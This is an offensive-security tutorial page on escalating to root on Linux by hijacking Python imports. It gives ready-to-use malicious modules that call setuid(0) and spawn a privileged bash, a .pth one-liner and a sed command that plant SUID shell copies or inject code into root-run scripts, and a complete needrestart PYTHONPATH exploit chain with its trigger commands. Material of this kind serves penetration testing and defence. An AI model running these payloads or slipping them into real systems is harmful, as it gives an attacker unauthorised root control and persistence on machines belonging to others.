# Python Library Hijacking for Privilege Escalation

> Exploit misconfigured Python library paths and writable site-packages to hijack imports, inject malicious modules, and escalate privileges on Linux systems.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-06-21

When root runs a Python script that imports a module, Python searches `sys.path` directories in order. If you can write to any directory that appears before the legitimate module location, or inject a path via `PYTHONPATH`, your malicious module loads instead of the real one. No exploit required: pure misconfiguration.

## Python Library Hijacking on Linux

Common vectors for hijacking Python imports on a Linux target:

- Writable directory in `sys.path` before the real module location
- `PYTHONPATH` preserved via sudo `env_keep`
- Writable `.pth` file in site-packages (executes at Python startup)
- Writable target script or package directory
- needrestart PYTHONPATH inheritance (versions below 3.8)

Confirm Python is present and check the version:

```bash
which python3 python python2 2>/dev/null
python3 --version 2>/dev/null
```

Check if a root cron job or sudo rule runs Python scripts:

```bash
# Cron jobs
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -i python

# sudo rules
sudo -l | grep python

# Running processes
ps aux | grep python | grep root
```

Check Python's default sys.path to understand the search order:

```bash
python3 -c "import sys; print('\n'.join(sys.path))"
```

## Technique 1: Writable sys.path Directory

If any directory in Python's `sys.path` that appears before the module's real location is writable, plant a fake module there.

**Step 1: Find the target script's imports:**

```bash
cat /path/to/root-script.py | grep "^import\|^from"
# e.g. import hashlib
# e.g. from os import system
```

**Step 2: Find where the real module lives:**

```bash
python3 -c "import hashlib; print(hashlib.__file__)"
# e.g. /usr/lib/python3.10/hashlib.py
```

**Step 3: Find writable directories earlier in sys.path:**

```bash
python3 -c "import sys; print('\n'.join(sys.path))" | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE: $dir"
done
```

If `/tmp` or a custom application directory appears before `/usr/lib/python3.10/`, you can plant there.

**Step 4: Plant the malicious module:**

**/writable/path/hashlib.py**

```python
import os
import subprocess

# Execute payload
os.setuid(0)
os.setgid(0)
subprocess.run(["/bin/bash", "-p"])

# Import the real module to avoid breaking the script
import importlib
import sys
del sys.modules['hashlib']
sys.path.insert(0, '/usr/lib/python3.10')
import hashlib
```

## Technique 2: PYTHONPATH via sudo env_keep

If `PYTHONPATH` is preserved by sudo, you can inject any directory into Python's search path before system libraries:

```bash
# Check sudo -l for PYTHONPATH
sudo -l | grep PYTHONPATH
```

If present:

**/tmp/subprocess.py**

```python
import os

def run(*args, **kwargs):
    os.setuid(0)
    os.setgid(0)
    os.system("/bin/bash -p")
```

```bash
sudo PYTHONPATH=/tmp /path/to/allowed/script.py
```

Choose a module that the script imports but that is generic enough to work: `os`, `subprocess`, `sys`, `json`. Be aware that breaking `os` or `subprocess` may crash the script before executing your payload. Chain carefully: execute the payload first, then optionally import the real module.

For the full sudo env_keep technique see [https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking).

## Technique 3: Writable .pth File in site-packages

`.pth` files in Python's `site-packages` directory are executed at Python startup: each line is either added to `sys.path` or executed if it starts with `import`. A writable `.pth` file in `site-packages` is code execution on every Python invocation.

Find writable `.pth` files:

```bash
find / -name "*.pth" -writable 2>/dev/null
find /usr/lib/python3* /usr/local/lib/python3* -name "*.pth" -writable 2>/dev/null
```

If writable, append an `import` statement:

```bash
echo "import os; os.system('cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash')" >> /usr/local/lib/python3.10/site-packages/privesc.pth
```

This fires every time Python starts: including when root runs any Python script.

## Technique 4: Writable Script Itself

If you can write to the Python script that root runs, inject code directly at the top:

```bash
ls -la /path/to/root-script.py
getfacl /path/to/root-script.py 2>/dev/null

# If writable
sed -i '1i import os; os.setuid(0); os.system("/bin/bash -p")' /path/to/root-script.py
```

Wait for cron or the service to trigger the script.

## Technique 5: Writable Package Directory

If the entire `site-packages` directory is writable, create a new module with a name matching an import in the target script:

```bash
ls -la /usr/local/lib/python3*/site-packages/ 2>/dev/null
ls -la /usr/lib/python3*/site-packages/ 2>/dev/null
```

If writable and the script imports 'requests'

**/usr/local/lib/python3.10/site-packages/requests.py**

```python
import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash -p")
```

## Finding the Right Module to Hijack

Choose a module that:

1. Is imported early in the script (before any privilege checks)
2. Is not a built-in (built-ins cannot be overridden this way)
3. Is not critical to spawning your shell (avoid hijacking `os` if you need it in your payload)

Safe targets: `requests`, `json`, `hashlib`, `base64`, `random`, application-specific modules.

Risky targets: `os`, `sys`, `subprocess`: be careful to re-import the real version after your payload runs.

## needrestart PYTHONPATH Hijack

needrestart runs as root after package operations to decide which services need restarting. Older versions inspect running processes by launching the Python interpreter they reference, and that launch honours the `PYTHONPATH` taken from the inspected process environment. A local user who runs any process with a crafted `PYTHONPATH` pointing at a writable directory gets a module from that directory imported and executed as root the next time needrestart runs. needrestart fires automatically after `apt install` / `apt upgrade` on Debian and Ubuntu, so the trigger is often reachable through a sudo-allowed apt command or a scheduled update.

```bash
needrestart --version 2>/dev/null || dpkg -l needrestart 2>/dev/null
sudo -l 2>/dev/null | grep -iE 'apt|needrestart'
# needrestart 3.5
```

A version below 3.8 is vulnerable. The mechanism is the module-search abuse from this page applied to a root-run interpreter: drop a malicious module in an attacker-controlled directory, export `PYTHONPATH` to that directory inside a long-running process, and let needrestart import it as root. The public exploit automates building the module, the process, and the trigger; on a host where you can invoke needrestart through sudo apt, the chain is reliable.

```bash
# Drop a module that the root-run interpreter will import
mkdir -p /dev/shm/hijack
cat > /dev/shm/hijack/<imported_module>.py <<'EOF'
import os
os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')
EOF
# Run a process carrying the crafted PYTHONPATH, then trigger needrestart
PYTHONPATH=/dev/shm/hijack setsid sleep 3000 &
sudo apt install -y --reinstall coreutils
/tmp/rootbash -p -c id
```

The module name must match one the interpreter imports while needrestart scans the process. Qualys documented this alongside related needrestart issues in November 2024; their advisory lists the exact module the interpreter loads on each distribution.

## References

- [Qualys needrestart Advisory](https://www.qualys.com/2024/11/19/needrestart/needrestart.txt) - needrestart local root issues disclosed November 2024.
- [sys.path ](https://docs.python.org/3/library/sys.html#sys.path) - Python Documentation Search order for module imports and path manipulation.
- [site](https://docs.python.org/3/library/site.html) - Python Documentation .pth file processing and site-packages path injection.
